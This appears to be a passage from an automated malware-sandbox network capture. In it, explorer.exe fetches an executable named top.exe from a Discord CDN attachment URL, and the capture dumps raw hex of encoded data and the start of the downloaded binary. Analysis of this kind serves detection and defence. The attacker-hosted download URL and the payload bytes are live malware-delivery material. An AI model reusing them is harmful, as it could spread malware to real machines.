2021-12-28 04:19:38 UTC	814	IN	Data Raw: 00 39 00 48 00 57 00 62 00 4d 00 4d 00 79 00 44 00 61 00 4b 00 74 00 4c 00 56 00 30 00 75 00 49 00 4e 00 37 00 6b 00 5a 00 43 00 76 00 52 00 63 00 34 00 58 00 79 00 2f 00 52 00 74 00 4f 00 73 00 52 00 4d 00 31 00 73 00 59 00 5a 00 37 00 42 00 2b 00 6e 00 7a 00 41 00 79 00 68 00 30 00 6e 00 63 00 64 00 4a 00 2b 00 41 00 61 00 6c 00 4b 00 53 00 37 00 51 00 63 00 76 00 53 00 4a 00 6e 00 71 00 37 00 33 00 45 00 4b 00 55 00 6d 00 31 00 67 00 79 00 6f 00 73 00 57 00 4a 00 4e 00 4c 00 71 00 31 00 76 00 4a 00 63 00 41 00 61 00 69 00 4d 00 41 00 79 00 75 00 39 00 4f 00 62 00 75 00 79 00 43 00 50 00 37 00 67 00 4b 00 63 00 53 00 45 00 49 00 4d 00 4f 00 52 00 48 00 53 00 4b 00 66 00 48 00 2f 00 5a 00 41 00 67 00 65 00 4d 00 52 00 6a 00 54 00 63 00 65 00 55 00 51 00 Data Ascii: 9HWbMMyDaKtLV0uIN7kZCvRc4Xy/RtOsRM1sYZ7B+nzAyh0ncdJ+AalKS7QcvSJnq73EKUm1gyosWJNLq1vJcAaiMAyu9ObuyCP7gKcSEIMORHSKfH/ZAgeMRjTceUQ
2021-12-28 04:19:38 UTC	830	IN	Data Raw: 00 6c 00 72 00 74 00 41 00 67 00 36 00 58 00 79 00 45 00 61 00 6d 00 6d 00 63 00 50 00 68 00 47 00 4d 00 58 00 32 00 62 00 5a 00 65 00 58 00 35 00 33 00 39 00 6b 00 6d 00 52 00 65 00 49 00 42 00 32 00 71 00 49 00 53 00 58 00 6d 00 54 00 41 00 4d 00 50 00 64 00 51 00 68 00 4e 00 33 00 6a 00 30 00 77 00 61 00 62 00 76 00 36 00 6d 00 65 00 38 00 47 00 64 00 65 00 76 00 71 00 49 00 75 00 4d 00 4a 00 64 00 72 00 32 00 30 00 47 00 7a 00 62 00 68 00 68 00 37 00 4a 00 36 00 4a 00 48 00 7a 00 35 00 50 00 30 00 65 00 34 00 36 00 74 00 6e 00 65 00 7a 00 58 00 63 00 4a 00 32 00 43 00 42 00 74 00 65 00 75 00 7a 00 2f 00 36 00 32 00 30 00 71 00 6c 00 56 00 6e 00 4c 00 41 00 71 00 6b 00 55 00 4c 00 6b 00 34 00 4f 00 31 00 47 00 6e 00 4f 00 52 00 74 00 71 00 4a 00 67 00 Data Ascii: lrtAg6XyEammcPhGMX2bZeX539kmReIB2qISXmTAMPdQhN3j0wabv6me8GdevqIuMJdr20Gzbhh7J6JHz5P0e46tnezXcJ2CBteuz/620qlVnLAqkULk4O1GnORtqJg
2021-12-28 04:19:38 UTC	846	IN	Data Raw: 00 63 00 52 00 6e 00 54 00 39 00 4e 00 74 00 58 00 34 00 69 00 4e 00 71 00 70 00 52 00 39 00 73 00 42 00 6e 00 58 00 55 00 2b 00 75 00 39 00 6f 00 51 00 78 00 65 00 31 00 43 00 56 00 65 00 63 00 35 00 6a 00 4e 00 50 00 74 00 6e 00 2b 00 64 00 4a 00 47 00 65 00 6b 00 78 00 33 00 59 00 70 00 73 00 53 00 78 00 41 00 71 00 44 00 6a 00 63 00 6c 00 4e 00 38 00 2f 00 36 00 67 00 45 00 4e 00 75 00 47 00 34 00 47 00 57 00 62 00 41 00 6a 00 67 00 42 00 34 00 2f 00 6a 00 4b 00 51 00 77 00 46 00 4c 00 41 00 65 00 6f 00 66 00 65 00 71 00 32 00 2b 00 52 00 66 00 48 00 48 00 4f 00 6c 00 6f 00 6b 00 47 00 6d 00 79 00 51 00 45 00 50 00 6e 00 61 00 72 00 51 00 4a 00 58 00 69 00 4b 00 33 00 52 00 34 00 35 00 4f 00 2f 00 79 00 6b 00 52 00 4c 00 61 00 67 00 6f 00 6a 00 64 00 Data Ascii: cRnT9NtX4iNqpR9sBnXU+u9oQxe1CVec5jNPtn+dJGekx3YpsSxAqDjclN8/6gENuG4GWbAjgB4/jKQwFLAeofeq2+RfHHOlokGmyQEPnarQJXiK3R45O/ykRLagojd
2021-12-28 04:19:38 UTC	862	IN	Data Raw: 00 51 00 4e 00 78 00 79 00 47 00 42 00 42 00 57 00 49 00 76 00 6e 00 58 00 51 00 46 00 36 00 5a 00 36 00 7a 00 6b 00 73 00 53 00 76 00 44 00 35 00 6e 00 49 00 79 00 4d 00 69 00 6c 00 44 00 32 00 6e 00 6c 00 76 00 47 00 6e 00 77 00 77 00 57 00 42 00 55 00 51 00 50 00 57 00 76 00 34 00 4e 00 4e 00 75 00 30 00 44 00 67 00 47 00 31 00 4c 00 34 00 33 00 56 00 71 00 6e 00 33 00 47 00 57 00 73 00 52 00 58 00 4d 00 42 00 37 00 76 00 6c 00 32 00 61 00 6d 00 39 00 36 00 49 00 30 00 77 00 69 00 48 00 7a 00 62 00 4f 00 37 00 67 00 68 00 55 00 58 00 41 00 5a 00 69 00 66 00 72 00 32 00 61 00 4d 00 6e 00 6a 00 69 00 39 00 30 00 49 00 30 00 64 00 38 00 36 00 6b 00 67 00 4f 00 4c 00 67 00 75 00 6c 00 39 00 6a 00 56 00 32 00 54 00 74 00 57 00 7a 00 6f 00 64 00 53 00 4a 00 Data Ascii: QNxyGBBWIvnXQF6Z6zksSvD5nIyMilD2nlvGnwwWBUQPWv4NNu0DgG1L43Vqn3GWsRXMB7vl2am96I0wiHzbO7ghUXAZifr2aMnji90I0d86kgOLgul9jV2TtWzodSJ
2021-12-28 04:19:38 UTC	878	IN	Data Raw: 00 4d 00 32 00 6e 00 38 00 54 00 49 00 75 00 33 00 39 00 71 00 65 00 56 00 46 00 68 00 43 00 2b 00 74 00 73 00 6e 00 6b 00 56 00 6b 00 77 00 47 00 66 00 32 00 74 00 78 00 55 00 57 00 70 00 70 00 76 00 37 00 43 00 59 00 6a 00 44 00 49 00 79 00 36 00 31 00 48 00 64 00 37 00 31 00 64 00 39 00 4e 00 44 00 65 00 43 00 69 00 6e 00 58 00 4f 00 4d 00 62 00 35 00 77 00 63 00 39 00 54 00 66 00 44 00 64 00 6f 00 2f 00 68 00 71 00 44 00 45 00 52 00 74 00 55 00 34 00 4a 00 39 00 46 00 33 00 47 00 2f 00 4e 00 56 00 6b 00 43 00 49 00 2f 00 6f 00 61 00 49 00 36 00 56 00 6e 00 30 00 2b 00 4e 00 6d 00 49 00 69 00 76 00 75 00 56 00 47 00 6b 00 6d 00 4f 00 50 00 4c 00 32 00 66 00 79 00 7a 00 6e 00 6c 00 76 00 74 00 49 00 63 00 32 00 7a 00 77 00 4f 00 31 00 57 00 33 00 56 00 Data Ascii: M2n8TIu39qeVFhC+tsnkVkwGf2txUWppv7CYjDIy61Hd71d9NDeCinXOMb5wc9TfDdo/hqDERtU4J9F3G/NVkCI/oaI6Vn0+NmIivuVGkmOPL2fyznlvtIc2zwO1W3V
2021-12-28 04:19:38 UTC	894	IN	Data Raw: 00 34 00 66 00 52 00 52 00 36 00 33 00 6a 00 4d 00 58 00 70 00 6d 00 78 00 55 00 76 00 47 00 54 00 76 00 62 00 68 00 6e 00 50 00 4a 00 32 00 58 00 4e 00 4f 00 56 00 4b 00 5a 00 47 00 35 00 65 00 34 00 54 00 59 00 6c 00 74 00 38 00 4a 00 6b 00 63 00 59 00 6b 00 61 00 30 00 63 00 32 00 67 00 79 00 56 00 32 00 34 00 72 00 39 00 49 00 74 00 72 00 79 00 68 00 67 00 32 00 41 00 74 00 48 00 41 00 6f 00 66 00 6a 00 45 00 4e 00 64 00 61 00 48 00 47 00 4a 00 6e 00 6d 00 32 00 59 00 55 00 53 00 78 00 70 00 6a 00 4e 00 4d 00 45 00 6d 00 69 00 48 00 33 00 77 00 55 00 32 00 47 00 39 00 43 00 2f 00 42 00 33 00 48 00 51 00 4a 00 78 00 44 00 2b 00 6c 00 75 00 33 00 30 00 6a 00 68 00 4b 00 4a 00 69 00 46 00 79 00 59 00 66 00 75 00 62 00 6c 00 70 00 7a 00 32 00 67 00 2f 00 Data Ascii: 4fRR63jMXpmxUvGTvbhnPJ2XNOVKZG5e4TYlt8JkcYka0c2gyV24r9Itryhg2AtHAofjENdaHGJnm2YUSxpjNMEmiH3wU2G9C/B3HQJxD+lu30jhKJiFyYfublpz2g/
2021-12-28 04:19:38 UTC	910	IN	Data Raw: 00 71 00 71 00 52 00 45 00 6a 00 50 00 32 00 73 00 4e 00 4a 00 73 00 67 00 39 00 6b 00 59 00 33 00 59 00 41 00 6c 00 59 00 30 00 64 00 79 00 6d 00 44 00 38 00 5a 00 63 00 78 00 67 00 34 00 48 00 61 00 55 00 6e 00 6b 00 66 00 2f 00 4c 00 37 00 53 00 48 00 46 00 59 00 52 00 71 00 45 00 45 00 52 00 38 00 69 00 6d 00 79 00 38 00 6a 00 58 00 58 00 62 00 6b 00 53 00 6c 00 31 00 48 00 63 00 59 00 37 00 56 00 77 00 45 00 53 00 38 00 76 00 6a 00 31 00 31 00 79 00 52 00 6c 00 4a 00 6d 00 4d 00 67 00 37 00 66 00 70 00 47 00 76 00 4d 00 6a 00 34 00 32 00 47 00 42 00 63 00 4f 00 2f 00 6b 00 37 00 71 00 70 00 74 00 30 00 49 00 63 00 79 00 6f 00 61 00 34 00 6f 00 69 00 43 00 53 00 6e 00 32 00 73 00 77 00 6e 00 6a 00 50 00 62 00 73 00 6a 00 68 00 74 00 6a 00 4b 00 6b 00 Data Ascii: qqREjP2sNJsg9kY3YAlY0dymD8Zcxg4HaUnkf/L7SHFYRqEER8imy8jXXbkSl1HcY7VwES8vj11yRlJmMg7fpGvMj42GBcO/k7qpt0Icyoa4oiCSn2swnjPbsjhtjKk
2021-12-28 04:19:38 UTC	926	IN	Data Raw: 00 68 00 47 00 42 00 51 00 47 00 52 00 32 00 6d 00 43 00 4f 00 6f 00 6e 00 35 00 45 00 6d 00 34 00 37 00 4f 00 77 00 77 00 4d 00 47 00 5a 00 74 00 64 00 68 00 6e 00 54 00 74 00 6f 00 4b 00 4f 00 58 00 42 00 63 00 30 00 79 00 5a 00 75 00 56 00 6f 00 4e 00 4e 00 44 00 57 00 38 00 32 00 6f 00 67 00 42 00 45 00 7a 00 6c 00 62 00 38 00 34 00 39 00 33 00 38 00 58 00 61 00 41 00 73 00 76 00 75 00 34 00 50 00 66 00 56 00 66 00 44 00 4c 00 54 00 2f 00 53 00 4e 00 71 00 4d 00 69 00 54 00 74 00 69 00 4a 00 4c 00 77 00 70 00 38 00 74 00 36 00 51 00 73 00 4e 00 31 00 57 00 46 00 70 00 36 00 37 00 50 00 50 00 63 00 2b 00 78 00 53 00 46 00 54 00 43 00 47 00 43 00 73 00 53 00 70 00 4f 00 68 00 38 00 4e 00 52 00 68 00 49 00 41 00 57 00 4c 00 4b 00 64 00 5a 00 78 00 44 00 Data Ascii: hGBQGR2mCOon5Em47OwwMGZtdhnTtoKOXBc0yZuVoNNDW82ogBEzlb84938XaAsvu4PfVfDLT/SNqMiTtiJLwp8t6QsN1WFp67PPc+xSFTCGCsSpOh8NRhIAWLKdZxD
2021-12-28 04:19:38 UTC	942	IN	Data Raw: 00 51 00 73 00 68 00 6d 00 46 00 48 00 4a 00 44 00 64 00 58 00 7a 00 61 00 38 00 6b 00 57 00 4a 00 72 00 70 00 72 00 52 00 65 00 79 00 44 00 73 00 75 00 4b 00 59 00 4d 00 44 00 4d 00 32 00 50 00 49 00 38 00 63 00 76 00 57 00 57 00 36 00 4e 00 71 00 4d 00 59 00 32 00 33 00 39 00 73 00 41 00 76 00 53 00 65 00 59 00 32 00 6b 00 77 00 48 00 49 00 45 00 43 00 59 00 6f 00 79 00 4b 00 66 00 52 00 2f 00 52 00 79 00 56 00 71 00 42 00 54 00 6e 00 2f 00 64 00 57 00 71 00 73 00 4b 00 54 00 52 00 41 00 42 00 52 00 72 00 4c 00 64 00 2b 00 50 00 4f 00 64 00 34 00 4a 00 48 00 76 00 44 00 31 00 46 00 70 00 6f 00 69 00 6e 00 31 00 57 00 58 00 66 00 62 00 77 00 61 00 67 00 76 00 66 00 76 00 58 00 4e 00 75 00 31 00 53 00 54 00 7a 00 34 00 37 00 72 00 4f 00 31 00 44 00 68 00 Data Ascii: QshmFHJDdXza8kWJrprReyDsuKYMDM2PI8cvWW6NqMY239sAvSeY2kwHIECYoyKfR/RyVqBTn/dWqsKTRABRrLd+POd4JHvD1Fpoin1WXfbwagvfvXNu1STz47rO1Dh
2021-12-28 04:19:38 UTC	958	IN	Data Raw: 00 4f 00 39 00 4f 00 76 00 51 00 44 00 30 00 6e 00 34 00 63 00 61 00 55 00 71 00 4c 00 46 00 2b 00 4c 00 6e 00 31 00 4a 00 35 00 46 00 75 00 4b 00 65 00 6c 00 6b 00 4a 00 39 00 76 00 77 00 73 00 54 00 2f 00 4f 00 44 00 6f 00 66 00 66 00 62 00 2b 00 64 00 62 00 73 00 6f 00 63 00 33 00 67 00 63 00 32 00 55 00 38 00 4e 00 31 00 35 00 30 00 55 00 7a 00 4d 00 75 00 69 00 63 00 61 00 37 00 39 00 78 00 4d 00 58 00 51 00 50 00 76 00 46 00 55 00 6e 00 56 00 58 00 4d 00 38 00 4c 00 51 00 68 00 36 00 35 00 78 00 53 00 49 00 4e 00 6a 00 36 00 41 00 6c 00 63 00 77 00 37 00 66 00 44 00 52 00 55 00 4e 00 64 00 58 00 51 00 43 00 51 00 42 00 75 00 63 00 44 00 78 00 73 00 63 00 62 00 48 00 73 00 68 00 37 00 33 00 35 00 5a 00 58 00 38 00 6c 00 4d 00 65 00 66 00 79 00 6b 00 Data Ascii: O9OvQD0n4caUqLF+Ln1J5FuKelkJ9vwsT/ODoffb+dbsoc3gc2U8N150UzMuica79xMXQPvFUnVXM8LQh65xSINj6Alcw7fDRUNdXQCQBucDxscbHsh735ZX8lMefyk
2021-12-28 04:19:38 UTC	974	IN	Data Raw: 00 69 00 46 00 6a 00 72 00 63 00 74 00 43 00 59 00 57 00 5a 00 6b 00 6f 00 39 00 65 00 5a 00 6e 00 74 00 79 00 56 00 4d 00 65 00 4f 00 70 00 63 00 32 00 58 00 36 00 47 00 46 00 42 00 4c 00 4b 00 31 00 35 00 70 00 62 00 4e 00 69 00 35 00 4c 00 62 00 4c 00 72 00 6c 00 63 00 4e 00 2b 00 4f 00 48 00 73 00 34 00 59 00 71 00 46 00 4e 00 55 00 4f 00 64 00 37 00 32 00 64 00 30 00 74 00 33 00 6f 00 30 00 55 00 73 00 50 00 34 00 6d 00 55 00 50 00 4f 00 55 00 4f 00 39 00 52 00 69 00 72 00 67 00 64 00 74 00 52 00 70 00 61 00 61 00 55 00 45 00 78 00 6c 00 6c 00 79 00 6b 00 6e 00 7a 00 6b 00 74 00 6e 00 74 00 49 00 4d 00 70 00 41 00 74 00 35 00 72 00 33 00 59 00 57 00 71 00 66 00 54 00 4d 00 61 00 52 00 4d 00 51 00 69 00 5a 00 4e 00 34 00 4e 00 52 00 62 00 77 00 78 00 Data Ascii: iFjrctCYWZko9eZntyVMeOpc2X6GFBLK15pbNi5LbLrlcN+OHs4YqFNUOd72d0t3o0UsP4mUPOUO9RirgdtRpaaUExllyknzktntIMpAt5r3YWqfTMaRMQiZN4NRbwx
2021-12-28 04:19:38 UTC	990	IN	Data Raw: 00 69 00 6f 00 70 00 52 00 61 00 50 00 45 00 49 00 79 00 4c 00 6d 00 73 00 6e 00 58 00 56 00 66 00 77 00 4f 00 4f 00 4a 00 71 00 49 00 6c 00 63 00 79 00 69 00 55 00 76 00 67 00 77 00 32 00 4d 00 5a 00 5a 00 6d 00 32 00 56 00 50 00 69 00 43 00 44 00 4f 00 75 00 62 00 57 00 31 00 57 00 2b 00 41 00 55 00 31 00 76 00 69 00 42 00 52 00 35 00 76 00 58 00 45 00 36 00 44 00 5a 00 76 00 4b 00 45 00 34 00 35 00 31 00 41 00 2b 00 54 00 6c 00 37 00 37 00 4e 00 61 00 78 00 46 00 56 00 6d 00 54 00 52 00 6b 00 79 00 36 00 65 00 55 00 39 00 73 00 52 00 38 00 6e 00 39 00 4b 00 52 00 63 00 6e 00 46 00 34 00 65 00 45 00 73 00 4c 00 68 00 73 00 31 00 69 00 68 00 59 00 71 00 66 00 78 00 6e 00 64 00 78 00 42 00 6f 00 52 00 4e 00 49 00 41 00 4b 00 77 00 51 00 6d 00 43 00 6b 00 Data Ascii: iopRaPEIyLmsnXVfwOOJqIlcyiUvgw2MZZm2VPiCDOubW1W+AU1viBR5vXE6DZvKE451A+Tl77NaxFVmTRky6eU9sR8n9KRcnF4eEsLhs1ihYqfxndxBoRNIAKwQmCk
2021-12-28 04:19:38 UTC	1006	IN	Data Raw: 00 41 00 4e 00 51 00 61 00 32 00 41 00 72 00 57 00 35 00 61 00 31 00 42 00 69 00 48 00 48 00 38 00 36 00 78 00 70 00 42 00 4b 00 38 00 51 00 57 00 68 00 2f 00 44 00 63 00 6b 00 45 00 4a 00 53 00 45 00 61 00 42 00 50 00 31 00 65 00 44 00 75 00 76 00 51 00 2f 00 57 00 48 00 32 00 79 00 53 00 66 00 63 00 46 00 70 00 72 00 36 00 68 00 62 00 35 00 61 00 42 00 79 00 71 00 54 00 4e 00 5a 00 73 00 74 00 75 00 6e 00 6d 00 30 00 49 00 68 00 37 00 75 00 30 00 33 00 52 00 57 00 4c 00 4b 00 46 00 32 00 68 00 2b 00 4e 00 62 00 41 00 73 00 47 00 77 00 54 00 4f 00 31 00 34 00 67 00 78 00 43 00 37 00 6d 00 37 00 42 00 64 00 2b 00 61 00 51 00 4d 00 73 00 6c 00 7a 00 30 00 71 00 76 00 44 00 66 00 4b 00 68 00 47 00 36 00 7a 00 75 00 62 00 6b 00 35 00 68 00 6a 00 45 00 78 00 Data Ascii: ANQa2ArW5a1BiHH86xpBK8QWh/DckEJSEaBP1eDuvQ/WH2ySfcFpr6hb5aByqTNZstunm0Ih7u03RWLKF2h+NbAsGwTO14gxC7m7Bd+aQMslz0qvDfKhG6zubk5hjEx
2021-12-28 04:19:38 UTC	1022	IN	Data Raw: 00 6f 00 79 00 69 00 51 00 56 00 70 00 76 00 70 00 48 00 49 00 5a 00 48 00 74 00 41 00 44 00 33 00 6c 00 76 00 2f 00 49 00 37 00 43 00 43 00 4f 00 71 00 4e 00 62 00 6e 00 4d 00 63 00 6f 00 33 00 38 00 69 00 69 00 54 00 74 00 6b 00 68 00 49 00 43 00 62 00 33 00 41 00 74 00 6c 00 74 00 77 00 4b 00 70 00 2b 00 77 00 49 00 38 00 38 00 2f 00 36 00 70 00 76 00 53 00 61 00 70 00 2b 00 48 00 7a 00 39 00 4d 00 44 00 6d 00 43 00 6f 00 46 00 64 00 43 00 36 00 37 00 5a 00 65 00 65 00 7a 00 48 00 4c 00 39 00 72 00 36 00 51 00 6f 00 64 00 72 00 34 00 4b 00 54 00 71 00 4b 00 72 00 31 00 35 00 30 00 45 00 4f 00 64 00 6b 00 50 00 4b 00 6d 00 7a 00 37 00 58 00 58 00 77 00 4e 00 34 00 42 00 6f 00 75 00 37 00 43 00 72 00 6c 00 4e 00 54 00 65 00 6c 00 69 00 7a 00 6f 00 38 00 Data Ascii: oyiQVpvpHIZHtAD3lv/I7CCOqNbnMco38iiTtkhICb3AtltwKp+wI88/6pvSap+Hz9MDmCoFdC67ZeezHL9r6Qodr4KTqKr150EOdkPKmz7XXwN4Bou7CrlNTelizo8
2021-12-28 04:19:38 UTC	1038	IN	Data Raw: 00 31 00 2b 00 52 00 53 00 32 00 36 00 6e 00 66 00 48 00 63 00 37 00 31 00 42 00 72 00 51 00 6c 00 43 00 6a 00 6f 00 41 00 59 00 63 00 6c 00 2b 00 36 00 31 00 6c 00 43 00 4a 00 42 00 38 00 72 00 31 00 44 00 45 00 61 00 6d 00 54 00 6a 00 69 00 6d 00 4e 00 73 00 58 00 4b 00 6c 00 36 00 76 00 47 00 57 00 6b 00 6d 00 76 00 4b 00 67 00 37 00 54 00 31 00 50 00 6a 00 2b 00 31 00 33 00 37 00 58 00 49 00 4c 00 35 00 36 00 6e 00 47 00 77 00 39 00 44 00 57 00 67 00 2f 00 4d 00 6d 00 39 00 34 00 47 00 74 00 7a 00 30 00 51 00 2f 00 64 00 76 00 6b 00 4b 00 6e 00 6e 00 75 00 77 00 43 00 6c 00 53 00 50 00 31 00 6c 00 46 00 74 00 39 00 53 00 32 00 67 00 45 00 48 00 77 00 4e 00 6a 00 4a 00 55 00 77 00 31 00 6d 00 57 00 53 00 7a 00 44 00 77 00 58 00 6f 00 6e 00 6c 00 37 00 Data Ascii: 1+RS26nfHc71BrQlCjoAYcl+61lCJB8r1DEamTjimNsXKl6vGWkmvKg7T1Pj+137XIL56nGw9DWg/Mm94Gtz0Q/dvkKnnuwClSP1lFt9S2gEHwNjJUw1mWSzDwXonl7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49847	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:41 UTC	1052	OUT	GET /attachments/925145879403446292/925145901322879006/top.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-28 04:19:41 UTC	1053	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:41 GMT Content-Type: application/x-msdos-program Content-Length: 3624448 Connection: close CF-Ray: 6c47fde7899a7037-FRA Accept-Ranges: bytes Age: 22454 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=top.exe ETag: "e5bd8a53623522c49ccc35bc492b5a11" Expires: Wed, 28 Dec 2022 04:19:41 GMT Last-Modified: Mon, 27 Dec 2021 21:59:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1640642371383841 x-goog-hash: crc32c=mwF9kg== x-goog-hash: md5=5b2KU2I1IsSczDW8SStaEQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 3624448 X-GUploader-UploadID: ADPycduw0w5hcBVS2VQwj415UE2nRQkehn2IgtC0_W7PDK9X6ZX9iEsQoVWrqGNwhFEYPKa8HRC0tAwTujxKmAeArUU X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-28 04:19:41 UTC	1054	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 4d 48 61 6a 45 74 71 7a 36 6c 59 4f 71 53 78 71 67 43 68 4f 57 45 50 54 57 48 53 39 36 52 58 76 69 25 32 46 59 44 33 4b 73 52 43 41 39 6a 75 42 46 25 32 46 75 6a 58 31 62 74 48 48 46 73 41 55 72 42 45 33 59 62 6d 69 51 5a 79 34 71 74 31 37 4a 78 38 62 6b 35 42 38 4a 76 61 55 73 7a 46 47 44 30 36 53 6d 71 57 54 32 42 43 33 34 43 70 41 72 38 6a 62 50 79 52 6a 6e 71 52 46 41 37 78 62 47 34 78 44 6d 4b 25 32 42 55 4a 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MHajEtqz6lYOqSxqgChOWEPTWHS96RXvi%2FYD3KsRCA9juBF%2FujX1btHHFsAUrBE3YbmiQZy4qt17Jx8bk5B8JvaUszFGD06SmqWT2BC34CpAr8jbPyRjnqRFA7xbG4xDmK%2BUJQ%3D%3D"}],"group":"cf-nel","max_age":
2021-12-28 04:19:41 UTC	1054	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 32 ff c9 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 20 02 00 00 cc 02 00 00 00 00 00 00 40 02 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 55 00 00 04 00 00 61 5d 37 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2a @@@Ua]7
2021-12-28 04:19:41 UTC	1055	IN	Data Raw: 6d f7 f1 90 1e 11 d8 48 dc e9 1d a9 aa 7f ed 0c 1c c3 39 4f a3 7a b7 f7 07 9d f3 f0 99 3f 9c 30 f5 b9 d7 ff 4d 4e 88 60 40 67 38 98 53 87 10 17 1d 1a 0b ab 43 c2 fc c8 68 8d 2e ef ff 7f bd 62 ff bc 5f a3 2a c3 5a b2 89 c3 b2 4c 6c ca 60 39 49 d1 5c 47 09 c6 6e 0d 95 1c be 5b 75 d0 1a 19 55 f2 3e 1e dc 78 0e 2a 82 94 0f 85 f0 8f ce a3 1a df 6d 7a a7 92 d2 78 65 8c 9a 83 d8 ec 83 d2 6d ce 8f 28 53 a1 3d 38 6d d7 19 cb ad 79 11 be 40 eb 11 f2 dd 26 ed 6b a5 8f 01 34 f2 60 96 4c 4d 9f 43 ba 5f 9e 0b 18 43 e4 31 e9 ee c5 77 ca d8 6c ea 0d 54 64 fa 19 cb ae a8 4d 5a 0e 59 71 c3 bc 13 77 2b f6 39 00 8d c1 89 8b 3b 0d e0 62 71 bb bd 8f 3e fa d5 44 63 9c b4 dd 9b 80 fe ff cd 5d 68 07 8f 80 0e 29 d3 0c 9a b6 8d 75 66 ae 5b 80 db a8 b4 cc b3 45 33 ba 0c 56 c3 aa 4d Data Ascii: mH9Oz?0MN`@g8SCh.b_ZLl`9I\Gn[uU>xmzxem(S=8my@&k4`LMC_C1wlTdMZYqw+9;bq>Dc]h)uf[E3VM
2021-12-28 04:19:41 UTC	1057	IN	Data Raw: a1 40 9c 95 7d 5b ab 99 83 5d ae 3d 64 72 f4 6f 41 ed 4a 8e 30 a5 c6 a3 84 57 3c 3d 9f ad 10 ae 71 c9 96 da e6 b9 50 3b f5 4f ae 8f 37 79 83 b3 08 2e 99 83 43 e1 c8 db 2b 93 be 75 73 90 83 fc 94 fc a7 48 25 40 ff 53 72 3a 48 b6 66 55 fb 72 14 7e 07 97 bf 9a 05 dd cd 62 fb 82 4c a7 6a 70 20 34 97 a2 f8 4c 2f fa 43 84 af 7c f9 3d 38 fb 75 cd e6 e8 3d 64 4b 8d f7 df 81 c5 d9 ec cd 27 f9 73 fc 63 86 45 87 1f bf ce a8 44 c8 31 d3 29 ce f5 e5 95 c5 dd c0 cf 3a d0 8d b5 5c 1e 16 32 72 d5 45 9b 36 50 b4 ae 4c 56 2f cb e8 5a 46 ab 28 9f ed 3c c9 5f c0 72 e0 11 df dc 82 d6 19 a0 e4 36 4e 36 51 a6 28 a5 70 3d 59 26 6c 7a 57 5b a4 d5 f8 80 52 ee 45 c4 63 9c 98 90 8d d2 18 53 65 f4 0d 94 9d 7c 8f 43 51 fb 71 41 05 29 a1 da 84 38 fa 88 44 4b e6 af 4b cd a6 4e 38 17 c8 Data Ascii: @}[]=droAJ0W<=qP;O7y.C+usH%@Sr:HfUr~bLjp 4L/C\|=8u=dK'scED1):\2rE6PLV/ZF(<_r6N6Q(p=Y&lzW[REcSe\|CQqA)8DKKN8
2021-12-28 04:19:41 UTC	1058	IN	Data Raw: d3 61 01 e7 16 c8 72 8c a1 e5 a5 00 08 91 24 24 ca 8f df 01 44 cd 17 c8 e2 90 50 1c 8c d7 a3 a1 fe cf b3 3a 26 02 9c 6b 95 0d b4 b4 18 49 8c 81 da 1d 6c 0d 9e f5 5d b6 90 2b 92 2b d0 09 c4 21 60 05 eb c1 e5 fd 10 73 48 f4 40 64 9c 7a 5f e1 93 95 0d 69 b8 04 37 90 17 e1 79 74 6b 6f 74 c0 06 f2 ef e0 99 7d 58 20 6a 44 e8 9d 60 96 1f 0a 81 21 6a cc b9 b3 8f 27 05 46 49 29 ff 20 cf c0 c4 cd ef c6 7a 84 1c 14 28 0f 68 46 82 f7 32 46 53 f9 f2 13 4b 25 3b ca 84 00 35 26 e3 f3 87 19 fe db 37 12 99 08 64 b0 f8 4b fd 8b 84 57 89 5c 86 23 e5 61 35 03 0a e7 c6 a0 a2 a7 bf 36 2d 52 0b ef 53 44 ac c1 21 57 13 39 dc 61 9a a8 a5 df f5 49 d2 10 1d ac 77 cb f9 4a 99 b2 8e b1 15 1e 44 d9 8b c2 9c 27 a7 aa a9 b0 b9 62 55 a9 48 e3 84 68 ca cf 4d f1 4a ab 8d 40 7d d1 9d 70 62 Data Ascii: 